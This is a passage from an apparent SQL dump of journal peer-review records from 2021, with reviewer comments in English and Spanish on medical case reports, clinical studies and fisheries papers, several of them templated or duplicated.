and biases.\r\nThat is, in summary, the conclusions of a narrative review are opinions subject to very important errors and biases. The authors should point out this fact, which implies that the results and conclusions must be evaluated with great caution and in a thoughtful and critical way.\r\n','2021-05-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3691,17793,8240,NULL,'3','r','n','y','y','1. I wonder if an endoscopic picture of the hemangioma is available. It would be nice if this is the case.\r\n2. A comment regarding the use of propranolol in adults could be useful as there are some reports in literature. As we know propranolol is the cornerstone of treatment in infants, \r\n    even in laryngeal hemangiomas.','I think that the main problem is that almost all of the discussion is copied from an existing article (Otolaryngol (Sunnyvale) 2015, Vol 5(4): 201,  DOI: 10.4172/2161-119X.1000201, Adult Laryngeal Hemangioma: A Rare Case Report,S Karatayli-Ozgursoy*, Mert Basaran, Haldun Umudum and Sefik Halit Akmansu), which I run into searhing the literature).\r\nIf the discussion is written from the begginning we can discuss it again.','2021-05-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3692,12022,8359,NULL,'4','D','N','M','N','CATASTROFES TIROIDEAS EN UCI: COMA MIXEDEMATOSO Y TORMENTA TIROIDEA. REPORTE DE CASOS\r\n\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de dos casos infrecuentes o raros.\r\nCreo que los autores deberían mencionar más sobre cómo estos casos pueden ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Bibliografía:\r\nLos autores escriben las referencias en diversos estilos. Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\n\r\nTHYROID CATASTROPHES IN ICU: COMA MIXEDEMATOOS AND THYROID STORM. CASE REPORT\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Discussion:\r\nIt should be understood as the presentation of two infrequent or rare cases.\r\nI think the authors should mention more about how these cases can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies. \r\n-Bibliography:\r\nAuthors write references in various styles. I advise authors to check the references and rewrite them using the Vancouver style. ','CATASTROFES TIROIDEAS EN UCI: COMA MIXEDEMATOSO Y TORMENTA TIROIDEA. REPORTE DE CASOS\r\n\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de dos casos infrecuentes o raros.\r\nCreo que los autores deberían mencionar más sobre cómo estos casos pueden ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Bibliografía:\r\nLos autores escriben las referencias en diversos estilos. Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\n\r\nTHYROID CATASTROPHES IN ICU: COMA MIXEDEMATOOS AND THYROID STORM. CASE REPORT\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Discussion:\r\nIt should be understood as the presentation of two infrequent or rare cases.\r\nI think the authors should mention more about how these cases can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies. \r\n-Bibliography:\r\nAuthors write references in various styles. I advise authors to check the references and rewrite them using the Vancouver style. ','2021-05-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3696,17489,8364,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Effects of temperature on hatching and growth performance of embryos and yolk-sac larvae of a threatened estuarine fish: Longfin smelt \", please find my comments.\r\nI do agree that,These results demonstrate that the early life stages oflongfin smelt require cooler water than delta smelt, another species of conservation concern that many California water management policies center around\r\n\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','The manuscript is good and accepted for publication ','2021-05-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3705,11589,6817,NULL,'4','g','Y','Y','Y','The article entitled \"Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient\" is a case report which explain the inner lining of the brain becomes inflamed and the inflammation speeds quickly into the brain which itself swells up. Most patients develop headache, drowsiness, slowness of thinking and then other features such as weakness or numbness, balance, visual and hearing problems. And found that treatment is with a high dose of steroids, suppression of the immune system with chemotherapy, and immunotherapy drugs such as an infliximab. Treatment is needed for at least 5 years within a multidisciplinary team. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','The article entitled \"Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient\" is a case report which explain the inner lining of the brain becomes inflamed and the inflammation speeds quickly into the brain which itself swells up. Most patients develop headache, drowsiness, slowness of thinking and then other features such as weakness or numbness, balance, visual and hearing problems. And found that treatment is with a high dose of steroids, suppression of the immune system with chemotherapy, and immunotherapy drugs such as an infliximab. Treatment is needed for at least 5 years within a multidisciplinary team. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','2021-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3706,10963,8224,NULL,'4','g','y','y','N','The present study was designed to compare the serum level of vitamin D in PCOS women and healthy controls and explore the role of vitamin D in pathogenesis of PCOS. The authors found that vitamin D levels in the PCOS women group were lower as compared to controls. Vitamin D deficiency was present in 95.8 % of women in study group and 85% of women in control group. The findings from this study suggest that screening for vitamin D deficiency may be useful in early diagnosis in of PCOS for preventing it’s the progression to type II diabetes mellitus. The authors conclude that due to wide heterogenicity of signs and symptoms of PCOS linked to different genetic and environmental factors future studies involving VDR SNPs and PCOS and vitamin D polymorphism and metabolic disturbances in PCOS are necessary to clarify the relationship of vitamin D metabolism with insulin resistance.\r\nComments:\r\n1.	Table 2 needs to be cited in the text (Results section).\r\n2.	The authors may discuss and cite the references below:\r\nA.	Lin MW, Wu MH. The role of vitamin D in polycystic ovary syndrome. Indian J Med Res. 2015;142(3):238-240. \r\nB.	Maryam Eftekhar Elham Sadat Mirhashemi Behnaz Molaei  Soheila Pourmasumi. Is there any association between vitamin D levels and polycystic ovary syndrome (PCOS) phenotypes? Arch. Endocrinol. Metab. vol.64 no.1 São Paulo Jan./Feb. 2020  Epub Sep 30, 2019\r\nC.	Miao CY, Fang XJ, Chen Y and Zhang Q: Effect of vitamin D supplementation on polycystic ovary syndrome: A meta analysis. Exp Ther Med 19: 2641-2649, 2020\r\nD.	Xin-Zhuan Jia, Yong-Mei Wang, NaZhang, Li-Na Guo, Xiu-Li Zhen, Hui Li and Lan Wei. Effect of vitamin D on clinical and biochemical parameters inpolycystic ovary syndrome women: A meta-analysis. J. Obstet. Gynaecol. Res. Vol. 41, No. 11: 1791–1802, November 2015\r\n\r\n','','2021-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3718,12022,8442,NULL,'4','D','N','Y','N','CEFALEA PERSISTENTE LUEGO DE INFECCIÓN POR COVID 19\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en una variedad de estilos. Sugiero que las referencias bibliográficas se escriban utilizando el estilo de Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\n\r\n\r\nPERSISTENT HEADACHE AFTER COVID 19 INFECTION\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages; or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nReferences are written in a variety of styles. I suggest that bibliographic references be written using the Vancouver style.\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n','CEFALEA PERSISTENTE LUEGO DE INFECCIÓN POR COVID 19\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en una variedad de estilos. Sugiero que las referencias bibliográficas se escriban utilizando el estilo de Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\n\r\n\r\nPERSISTENT HEADACHE AFTER COVID 19 INFECTION\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages; or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nReferences are written in a variety of styles. I suggest that bibliographic references be written using the Vancouver style.\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n','2021-05-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3722,11589,8436,NULL,'4','G','Y','Y','Y','The article entitled \"Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient\" is a case report which explain the inner lining of the brain becomes inflamed and the inflammation speeds quickly into the brain which itself swells up. Most patients develop headache, drowsiness, slowness of thinking and then other features such as weakness or numbness, balance, visual and hearing problems. And found that treatment is with a high dose of steroids, suppression of the immune system with chemotherapy, and immunotherapy drugs such as an infliximab. Treatment is needed for at least 5 years within a multidisciplinary team. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient\" is a case report which explain the inner lining of the brain becomes inflamed and the inflammation speeds quickly into the brain which itself swells up. Most patients develop headache, drowsiness, slowness of thinking and then other features such as weakness or numbness, balance, visual and hearing problems. And found that treatment is with a high dose of steroids, suppression of the immune system with chemotherapy, and immunotherapy drugs such as an infliximab. Treatment is needed for at least 5 years within a multidisciplinary team. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-05-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3726,4512,8460,NULL,'5','g','n','y','y','I reviewed the article entitled \"Effect of COVID – 19 pandemic in fisheries and fisherman of rural area\", please find my comments.\r\nI do agree that India is an agriculture based country, where more than 60 percent of people directly or indirectly depends on the agriculture.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','the manuscript is good and accepted for publication','2021-05-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3732,11689,8315,NULL,'5','g','y','y','y','Accepted','','2021-05-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3734,13225,7924,NULL,'4','G','Y','Y','Y','The article entitled \"Intravascular Lymphoma Mimicking Acute Haemorrhagic Leucoencephalitis\" is a case report which explain the Intravascular lymphoma and Acute Haemorrhagic Leucoencephalitis are rapidly progressive diseases with poor prognosis. The diagnosis is made by identifying lymphoma cells within small to medium blood vessels from cutaneous biopsy or tissue from other organs, including the brain. And found that when CNS involvement is suspected, a brain biopsy should be taken as soon as possible. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Intravascular Lymphoma Mimicking Acute Haemorrhagic Leucoencephalitis\" is a case report which explain the Intravascular lymphoma and Acute Haemorrhagic Leucoencephalitis are rapidly progressive diseases with poor prognosis. The diagnosis is made by identifying lymphoma cells within small to medium blood vessels from cutaneous biopsy or tissue from other organs, including the brain. And found that when CNS involvement is suspected, a brain biopsy should be taken as soon as possible. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-05-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3735,11589,7930,NULL,'4','G','Y','Y','Y','The article entitled \"Diagnostic Conundrums in Cerebellar Cryptic Arteriovenous Malformations\" is a case report which explain the cerebellar cryptic AVM diagnosed using high-resolution cone beam Computerized Tomography angiography (CBCT-A) and three-dimensional rotational angiography (3-DRA), with a definitive diagnosis confirmed on histology. And found that cerebellar cryptic AVM are important differentials for posterior cranial fossa haemorrhage, especially in younger patients. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Diagnostic Conundrums in Cerebellar Cryptic Arteriovenous Malformations\" is a case report which explain the cerebellar cryptic AVM diagnosed using high-resolution cone beam Computerized Tomography angiography (CBCT-A) and three-dimensional rotational angiography (3-DRA), with a definitive diagnosis confirmed on histology. And found that cerebellar cryptic AVM are important differentials for posterior cranial fossa haemorrhage, especially in younger patients. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-05-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3738,17074,8240,NULL,'5','r','y','y','y','Thank you for submitting your article for review. The article is well written and examines an important research in the field of medicine. This is a 30-year-old patient, cholecystectomized 6 months ago, who has had permanent dysphonia for 1 month without dyspnea or dysphagia. Nasofibroscopy finds a reddish angiomatous polyp hiding the glottic plane. The cervical scanner shows the presence of a small polypoid formation measuring 10mm hanging in the supraglottic laryngeal lumen, in contact with the left vocal cord, a homogeneous hypodense that does not enhance after injection of the iodine contrast product. Currently, there is no consensus regarding the treatment of hemangiomas due to their rarity. For small laryngeal hemangiomas, observation is usually sufficient. However, larger hemangiomas require treatment, and this can include surgical resection, corticosteroid injections, ethanol injections, cryosurgery, radium or gold implants, interferon treatment and laser surgery. The etiologic factors are thought to be vocal abuse, cigarette smoking and laryngeal trauma. Although most common symptom of infantile hemangioma is respiratory distress, this is almost never the case in adults. About my knowledge the research will be very helpful to the readers who wish to do their research on post-stroke pain. so I strongly recommend publishing the article without any changes.','I recommended for publication','2021-05-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3741,11689,8358,NULL,'5','g','y','y','y','Its a good article about Nasopharyngeal carcinoma (NPC). The aim of this study is to determine the SSTR2-specific delivery of AP-3 via linking AP-3 to somatostatin is likely a viable option to treat the EBV (+) NPC patients. This study indicates that SSTR-targeting drugs is likely a good candidate for the treatment of EBV-positive NPCs.\r\nIn this study, author reported that AP-3 has a good cytotoxic potency and serves as a good candidate for new drug conjugate. and It may be a great perspective for the treatments of patients with advanced NPC in the future.\r\nOverall well written and accepted for publication','','2021-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3743,10963,8389,NULL,'2','g','y','y','n','The authors evaluate and determine the relationship between electrolytes values in Sickle cell anaemia patients. Serum electrolytes focused in this study are sodium, potassium, chloride. The pooled means reported is helpful in the management of sickle cell anaemia. Metaanalysis was conducted on ten published studies that were related to serum electrolytes levels of sickle cell anaemia patients and the mean for serum electrolytes was estimated by using a random effects model. The authors found that levels of serum sodium in sickle cell anaemia decreased and potassium levels were increased. These results suggest that routinely quantification estimation of sodium and potassium will help in the management of sickle cell anaemia.\r\nComments:\r\n1.	The relationship between the electrolytes sodium and potassium and Sickle cell anemia may be determined by the renal manifestations associated with Sickle cell anemia. Sickle cell nephropathy is a complication of Sickle cell anemia and include altered haemodynamics, hypertrophy, assorted glomerulopathies, chronic kidney disease, acute kidney injury, impaired urinary concentrating ability, distal nephron dysfunction, haematuria. Kidney disease is associated with electrolyte imbalances that include sodium and potassium.\r\n2.	The authors may discuss and cite the references below:\r\nA.	Nath KA, Hebbel RP. Sickle cell disease: renal manifestations and mechanisms. Nat Rev Nephrol. 2015;11(3):161-171. \r\nB.	Paul Drawz, Sabarish Ayyappan, Mehdi Nouraie, Santosh Saraf, Victor Gordeuk, Thomas Hostetter, Mark T. Gladwin and Jane Little. Kidney Disease among Patients with Sickle Cell Disease, Hemoglobin SS and SC. CJASN February 2016, 11 (2) 207-215;\r\nC.	Phuong-Thu T. Pham, Alan H. Wilkinson, Susie Q. Lew. Renal abnormalities in sickle cell disease. Perspectives in Renal Medicine|Volume 57, ISSUE 1, P1-8, January 01, 2000. \r\n?\r\n\r\n\r\n','','2021-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3744,11689,8435,NULL,'5','g','y','y','y','Its an interesting article about Hydroxychloroquine Prophylaxis of Covid-19. The aim of this study is to review available data for the application of hydroxychloroquine (HCQ) as a chemoprophylactic agent for COVID-19, outline weakness of published trials and assess the objectivity of conclusions regarding the possible benefits of HCQ prophylaxis against the novel coronavirus disease.\r\nOverall well written and accepted for publication','','2021-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3745,11689,8403,NULL,'5','g','y','y','y','The aim of this study  was to evaluate the repercussions of the Balance Concept above balance and quality of life on unilateral vestibular hypofunction patients, in the same way to analyses their self-perception.\r\nThe used protocol based on the Balance Concept in this study helped the reduction of dizziness and balance improvement on unilateral vestibular hypofunction patients, reflecting directly on their daily activities.\r\nOverall well written','','2021-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3747,17489,8481,NULL,'5','g','n','y','y','I reviewed the article entitled \"Normative beliefs and economic life: a case study of the fishing industry in two communities in rural Newfoundland\", please find my comments.\r\nI do agree that The normative beliefs people have about what is valuable, just, or fair are an important aspect of natural resource governance.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','the manuscript is good and accepted for publication','2021-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3748,17489,8481,NULL,'5','g','n','y','y','I reviewed the article entitled \"Normative beliefs and economic life: a case study of the fishing industry in two communities in rural Newfoundland\", please find my comments.\r\nI do agree that The normative beliefs people have about what is valuable, just, or fair are an important aspect of natural resource governance.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','the manuscript is good and accepted for publication','2021-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3750,11589,7871,NULL,'4','G','Y','Y','Y','The article entitled \"Bradykinic- Mediated Angioedema Related to Alteplase Successfully Treated by Frozen Fresh Plasma (Ffp) in Saudi Arabia: First Case Report and Literature Review\" is a case report which explainthe first case of bradykinic angioedema related to alteplase. Patient has the history of hypertension treated by angiotensin converting enzyme (ACE) inhibitor, and this for itself increases the risk of developing bradykinin-mediated angioedema by a factor of six in ischemic patient receiving thrombolytic therapy.  And found that Bradykinin- mediate angioedema is a rare but it is a serious complication in patients receiving tPA, especially those with a history of taking ACE inhibitors. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Bradykinic- Mediated Angioedema Related to Alteplase Successfully Treated by Frozen Fresh Plasma (Ffp) in Saudi Arabia: First Case Report and Literature Review\" is a case report which explainthe first case of bradykinic angioedema related to alteplase. Patient has the history of hypertension treated by angiotensin converting enzyme (ACE) inhibitor, and this for itself increases the risk of developing bradykinin-mediated angioedema by a factor of six in ischemic patient receiving thrombolytic therapy.  And found that Bradykinin- mediate angioedema is a rare but it is a serious complication in patients receiving tPA, especially those with a history of taking ACE inhibitors. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3751,11589,7871,NULL,'4','G','Y','Y','Y','The article entitled \"Bradykinic- Mediated Angioedema Related to Alteplase Successfully Treated by Frozen Fresh Plasma (Ffp) in Saudi Arabia: First Case Report and Literature Review\" is a case report which explainthe first case of bradykinic angioedema related to alteplase. Patient has the history of hypertension treated by angiotensin converting enzyme (ACE) inhibitor, and this for itself increases the risk of developing bradykinin-mediated angioedema by a factor of six in ischemic patient receiving thrombolytic therapy.  And found that Bradykinin- mediate angioedema is a rare but it is a serious complication in patients receiving tPA, especially those with a history of taking ACE inhibitors. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Bradykinic- Mediated Angioedema Related to Alteplase Successfully Treated by Frozen Fresh Plasma (Ffp) in Saudi Arabia: First Case Report and Literature Review\" is a case report which explainthe first case of bradykinic angioedema related to alteplase. Patient has the history of hypertension treated by angiotensin converting enzyme (ACE) inhibitor, and this for itself increases the risk of developing bradykinin-mediated angioedema by a factor of six in ischemic patient receiving thrombolytic therapy.  And found that Bradykinin- mediate angioedema is a rare but it is a serious complication in patients receiving tPA, especially those with a history of taking ACE inhibitors. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3773,11689,8086,NULL,'5','g','y','y','y','Accepted for publication','','2021-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3777,11689,7979,NULL,'5','g','y','y','y','Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus. The aim of this study was to investigate the effect of access to personal protective equipment on the level of stress of care workers in epidemic conditions. In this study author focused on symptoms of job stress in Jam Hospital staff. This study has several limitations. It study showed that the level of stress is significantly associated with satisfaction with personal protective equipment. \r\nOverall manuscript is well written','','2021-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3779,17502,8174,NULL,'4','G','y','y','y','Dear Authors,\r\nThank you for your contribution. I recommend following suggestions to reconsider your manuscript. Please answer pointwise and incorporate all the changes, discussion, and suggested references in suitable places for us to be clear about the revised/edited manuscript. Thank you for your contribution.\r\n\r\nCOMMENTS AS BELOW : \r\n## Abstract COVID-19 vaccines will be available to kids aged 12 and above soon (Pfizer)?NOW APPROVED IN US I GUESS, PLEASE CHECK AND EDIT. \r\nhttps://pubmed.ncbi.nlm.nih.gov/34014913/ \r\n## BACKGROUND: We have had to follow social distancing, wear masks, and avoid participating in large gatherings? PLEASE ADD THE REFERENCE TO THIS AS BELOW: \r\nhttps://pubmed.ncbi.nlm.nih.gov/32754463/ \r\n\r\n##VACCINE DETAILS: In December 2020, FDA approved the first vaccine for COVID-19. Now we have a few more vaccine options against this virus. ? As vaccine survey is the core to this paper, I suggest putting a good one paragraph mentioning about various vaccines in discussion or in the background. This is especially important for the cancer patients, and other immunocompromised patients, and patients waiting for transplant etc. Relevant reference can be found as below:\r\nhttps://pubmed.ncbi.nlm.nih.gov/33837848/ \r\nhttps://pubmed.ncbi.nlm.nih.gov/33973186/ \r\n\r\n## STUDY APPROVAL? WHO APPROVED THE STUDY, ANY IRB OR APPROVING AUTHORITY.\r\n\r\n## DISCUSSION\r\nSimilar interesting paper, this can be discussed as well.\r\nhttps://pubmed.ncbi.nlm.nih.gov/34014130/ \r\n\r\n##LIMITATION\r\n? ANOTHER LIMITATION CAN BE ADDED IS THAT POLITICAL INCLINATION. SOME STATES HAVE HIGHER ACCEPTANCE THAN OTHER AND IT HAS SOMEHOW RELATED TO THE PERSONAL PREFERENCES OF WHICH PARTY IS ON RULING SIDE. THIS CAN BE ADDED AS WELL.  \r\n\r\n?As J/J had lots of clot issues, this could change the response of younger population. Please just mention this in the limitation of the study. \r\nhttps://pubmed.ncbi.nlm.nih.gov/33917902/ \r\n','Dear Authors,\r\nThank you for your contribution. I recommend following suggestions to reconsider your manuscript. Please answer pointwise and incorporate all the changes, discussion, and suggested references in suitable places for us to be clear about the revised/edited manuscript. Thank you for your contribution.\r\n\r\nCOMMENTS AS BELOW : \r\n## Abstract COVID-19 vaccines will be available to kids aged 12 and above soon (Pfizer)?NOW APPROVED IN US I GUESS, PLEASE CHECK AND EDIT. \r\nhttps://pubmed.ncbi.nlm.nih.gov/34014913/ \r\n## BACKGROUND: We have had to follow social distancing, wear masks, and avoid participating in large gatherings? PLEASE ADD THE REFERENCE TO THIS AS BELOW: \r\nhttps://pubmed.ncbi.nlm.nih.gov/32754463/ \r\n\r\n##VACCINE DETAILS: In December 2020, FDA approved the first vaccine for COVID-19. Now we have a few more vaccine options against this virus. ? As vaccine survey is the core to this paper, I suggest putting a good one paragraph mentioning about various vaccines in discussion or in the background. This is especially important for the cancer patients, and other immunocompromised patients, and patients waiting for transplant etc. Relevant reference can be found as below:\r\nhttps://pubmed.ncbi.nlm.nih.gov/33837848/ \r\nhttps://pubmed.ncbi.nlm.nih.gov/33973186/ \r\n\r\n## STUDY APPROVAL? WHO APPROVED THE STUDY, ANY IRB OR APPROVING AUTHORITY.\r\n\r\n## DISCUSSION\r\nSimilar interesting paper, this can be discussed as well.\r\nhttps://pubmed.ncbi.nlm.nih.gov/34014130/ \r\n\r\n##LIMITATION\r\n? ANOTHER LIMITATION CAN BE ADDED IS THAT POLITICAL INCLINATION. SOME STATES HAVE HIGHER ACCEPTANCE THAN OTHER AND IT HAS SOMEHOW 